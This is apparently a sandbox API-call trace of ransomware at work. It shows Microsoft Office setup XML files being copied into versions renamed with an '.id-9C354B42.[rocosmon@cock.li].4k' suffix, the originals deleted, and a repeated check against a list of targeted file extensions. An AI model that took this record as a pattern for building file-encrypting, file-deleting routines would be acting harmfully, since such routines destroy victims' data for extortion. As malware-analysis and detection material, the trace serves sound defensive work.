	[0100.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.663] GetLastError () returned 0x0
	[0100.663] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x41d4, lpOverlapped=0x0) returned 1
	[0100.675] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x41e0, lpOverlapped=0x0) returned 1
	[0100.677] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.677] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0100.677] SetEndOfFile (hFile=0x208) returned 1
	[0100.677] CloseHandle (hObject=0x208) returned 1
	[0100.677] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.677] SetEndOfFile (hFile=0x200) returned 1
	[0100.678] CloseHandle (hObject=0x200) returned 1
	[0100.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.679] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1
	[0100.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.679] lstrlenW (lpString=".doc") returned 4
	[0100.679] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.679] lstrlenW (lpString=".docx") returned 5
	[0100.679] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.679] lstrlenW (lpString=".pdf") returned 4
	[0100.679] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.679] lstrlenW (lpString=".xls") returned 4
	[0100.679] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.679] lstrlenW (lpString=".xlsx") returned 5
	[0100.679] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.679] lstrlenW (lpString=".ppt") returned 4
	[0100.679] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.679] lstrlenW (lpString=".zip") returned 4
	[0100.680] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.680] lstrlenW (lpString=".rar") returned 4
	[0100.680] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString=".bz2") returned 4
	[0100.680] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString=".7z") returned 3
	[0100.680] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.680] lstrlenW (lpString=".dbf") returned 4
	[0100.680] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.680] lstrlenW (lpString=".1cd") returned 4
	[0100.680] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.680] lstrlenW (lpString=".jpg") returned 4
	[0100.680] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.680] lstrlenW (lpString=".doc") returned 4
	[0100.680] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString=".docx") returned 5
	[0100.680] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.680] lstrlenW (lpString=".pdf") returned 4
	[0100.680] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString=".xls") returned 4
	[0100.680] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.680] lstrlenW (lpString=".xlsx") returned 5
	[0100.681] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.681] lstrlenW (lpString=".ppt") returned 4
	[0100.681] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.681] lstrlenW (lpString=".zip") returned 4
	[0100.681] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.681] lstrlenW (lpString=".rar") returned 4
	[0100.681] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.681] lstrlenW (lpString=".bz2") returned 4
	[0100.681] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.681] lstrlenW (lpString=".7z") returned 3
	[0100.681] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.681] lstrlenW (lpString=".dbf") returned 4
	[0100.681] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.681] lstrlenW (lpString=".1cd") returned 4
	[0100.681] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103
	[0100.681] lstrlenW (lpString=".jpg") returned 4
	[0100.681] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.681] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.681] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.682] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=31094) returned 1
	[0100.682] CloseHandle (hObject=0x200) returned 1
	[0100.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20
	[0100.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.689] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.689] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0100.690] GetLastError () returned 0x0
	[0100.690] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x7976, lpOverlapped=0x0) returned 1
	[0100.697] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x7980, lpOverlapped=0x0) returned 1
	[0100.698] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.698] WriteFile (in: hFile=0x208, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.699] SetEndOfFile (hFile=0x208) returned 1
	[0100.699] CloseHandle (hObject=0x208) returned 1
	[0100.699] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.699] SetEndOfFile (hFile=0x200) returned 1
	[0100.700] CloseHandle (hObject=0x200) returned 1
	[0100.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.701] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1
	[0100.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.701] lstrlenW (lpString=".doc") returned 4
	[0100.701] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.701] lstrlenW (lpString=".docx") returned 5
	[0100.701] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.701] lstrlenW (lpString=".pdf") returned 4
	[0100.701] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.701] lstrlenW (lpString=".xls") returned 4
	[0100.701] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.701] lstrlenW (lpString=".xlsx") returned 5
	[0100.701] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.701] lstrlenW (lpString=".ppt") returned 4
	[0100.701] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.701] lstrlenW (lpString=".zip") returned 4
	[0100.701] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.701] lstrlenW (lpString=".rar") returned 4
	[0100.701] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.701] lstrlenW (lpString=".bz2") returned 4
	[0100.702] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString=".7z") returned 3
	[0100.702] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.702] lstrlenW (lpString=".dbf") returned 4
	[0100.702] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.702] lstrlenW (lpString=".1cd") returned 4
	[0100.702] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.702] lstrlenW (lpString=".jpg") returned 4
	[0100.702] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.702] lstrlenW (lpString=".doc") returned 4
	[0100.702] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString=".docx") returned 5
	[0100.702] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.702] lstrlenW (lpString=".pdf") returned 4
	[0100.702] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString=".xls") returned 4
	[0100.702] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString=".xlsx") returned 5
	[0100.702] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.702] lstrlenW (lpString=".ppt") returned 4
	[0100.702] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.702] lstrlenW (lpString=".zip") returned 4
	[0100.703] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.703] lstrlenW (lpString=".rar") returned 4
	[0100.703] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.703] lstrlenW (lpString=".bz2") returned 4
	[0100.703] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.703] lstrlenW (lpString=".7z") returned 3
	[0100.703] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.703] lstrlenW (lpString=".dbf") returned 4
	[0100.703] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.703] lstrlenW (lpString=".1cd") returned 4
	[0100.703] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98
	[0100.703] lstrlenW (lpString=".jpg") returned 4
	[0100.703] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.703] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.703] lstrlenW (lpString="PublisherMUI.XML") returned 16
	[0100.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.704] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1450) returned 1
	[0100.704] CloseHandle (hObject=0x200) returned 1
	[0100.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20
	[0100.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0100.704] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.704] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.819] GetLastError () returned 0x0
	[0100.819] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x5aa, lpOverlapped=0x0) returned 1
	[0100.830] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0100.831] ReadFile (in: hFile=0x200, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.831] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0100.831] SetEndOfFile (hFile=0x1f0) returned 1
	[0100.831] CloseHandle (hObject=0x1f0) returned 1
	[0100.832] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.832] SetEndOfFile (hFile=0x200) returned 1
	[0100.832] CloseHandle (hObject=0x200) returned 1
	[0100.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.833] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1
	[0100.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.834] lstrlenW (lpString=".doc") returned 4
	[0100.834] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString=".docx") returned 5
	[0100.834] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.834] lstrlenW (lpString=".pdf") returned 4
	[0100.834] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString=".xls") returned 4
	[0100.834] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString=".xlsx") returned 5
	[0100.834] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.834] lstrlenW (lpString=".ppt") returned 4
	[0100.834] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.834] lstrlenW (lpString=".zip") returned 4
	[0100.834] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.834] lstrlenW (lpString=".rar") returned 4
	[0100.834] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString=".bz2") returned 4
	[0100.834] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString=".7z") returned 3
	[0100.834] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.834] lstrlenW (lpString=".dbf") returned 4
	[0100.834] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.834] lstrlenW (lpString=".1cd") returned 4
	[0100.834] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.834] lstrlenW (lpString=".jpg") returned 4
	[0100.835] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.835] lstrlenW (lpString=".doc") returned 4
	[0100.835] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString=".docx") returned 5
	[0100.835] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.835] lstrlenW (lpString=".pdf") returned 4
	[0100.835] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString=".xls") returned 4
	[0100.835] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString=".xlsx") returned 5
	[0100.835] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.835] lstrlenW (lpString=".ppt") returned 4
	[0100.835] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.835] lstrlenW (lpString=".zip") returned 4
	[0100.835] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.835] lstrlenW (lpString=".rar") returned 4
	[0100.835] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString=".bz2") returned 4
	[0100.835] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.835] lstrlenW (lpString=".7z") returned 3
	[0100.835] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.835] lstrlenW (lpString=".dbf") returned 4
	[0100.835] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.836] lstrlenW (lpString=".1cd") returned 4
	[0100.836] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0100.836] lstrlenW (lpString=".jpg") returned 4
	[0100.836] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.836] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.836] lstrlenW (lpString="SETUP.XML") returned 9
